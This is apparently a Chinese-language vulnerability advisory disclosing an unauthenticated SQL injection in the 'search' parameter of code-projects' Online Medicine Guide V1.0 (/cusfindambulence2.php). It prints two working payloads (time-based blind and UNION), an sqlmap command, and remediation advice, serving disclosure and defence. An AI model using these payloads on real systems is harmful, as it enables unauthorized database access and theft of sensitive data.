在线医药指南项目SQL注入漏洞分析与修复

本文详细分析了code-projects在线医药指南项目V1.0版本中/cusfindambulence2.php文件存在的SQL注入漏洞,包括漏洞成因、影响范围、利用方法以及修复建议,提供了具体的payload和sqlmap测试截图。

code-projects在线医药指南项目V1.0 /cusfindambulence2.php SQL注入

受影响产品名称

  • 在线医药指南

供应商主页

受影响和/或修复版本

提交者

  • Coop3r

漏洞文件

  • /cusfindambulence2.php

版本

  • V1.0

软件链接

问题类型

漏洞类型

  • SQL注入

根本原因

  • 在"在线医药指南"项目的"/cusfindambulence2.php"文件中发现SQL注入漏洞。此问题的原因是攻击者从参数"search"注入恶意代码,并将其直接用于SQL查询,而无需进行适当的清理或验证。这使得攻击者能够伪造输入值,从而操纵SQL查询并执行未经授权的操作。

影响

  • 攻击者可利用此SQL注入漏洞实现未经授权的数据库访问、敏感数据泄露、数据篡改、全面系统控制甚至服务中断,对系统安全性和业务连续性构成严重威胁。

描述

  • 在对"在线医药指南"的安全审查期间,我在"/cusfindambulence2.php"文件中发现了一个严重的SQL注入漏洞。此漏洞源于对"search"参数的用户输入验证不足,允许攻击者注入恶意SQL查询。因此,攻击者可以获得未经授权的数据库访问权限、修改或删除数据以及访问敏感信息。需要立即采取补救措施以确保系统安全并保护数据完整性。

利用此漏洞无需登录或授权

漏洞详情和POC

漏洞位置:

  • ‘search’参数

有效载荷:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
---
参数: search (POST)
    类型: 基于时间的盲注
    标题: MySQL >= 5.0.12 AND 基于时间的盲注 (查询 SLEEP)
    有效载荷: search=1111' AND (SELECT 3877 FROM (SELECT(SLEEP(5)))CrEf) AND 'BkNY'='BkNY

    类型: UNION查询
    标题: 通用UNION查询 (NULL) - 5列
    有效载荷: search=1111' UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x716a767071,0x685569717a635a59464942764f6261764c7a4c6978535052615a6856586a706c66426b7664427776,0x7178716271)-- -
---

以下是使用sqlmap工具测试和运行获得的一些具体信息的截图:

1
sqlmap -u "http:/127.0.0.1/medicine_guide-master/cusfindambulence2.php" --data="search" --batch --dbs

图片

建议修复

  1. 使用预处理语句和参数绑定: 预处理语句可以防止SQL注入,因为它们将SQL代码与用户输入数据分离。使用预处理语句时,用户输入的值被视为纯数据,不会被解释为SQL代码。

  2. 输入验证和过滤: 严格验证和过滤用户输入数据,确保其符合预期格式。

  3. 最小化数据库用户权限: 确保用于连接数据库的帐户具有最小必要权限。避免在日常操作中使用具有高级权限的帐户(如"root"或"admin")。

  4. 定期安全审计: 定期进行代码和系统安全审计,及时识别和修复潜在的安全漏洞。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计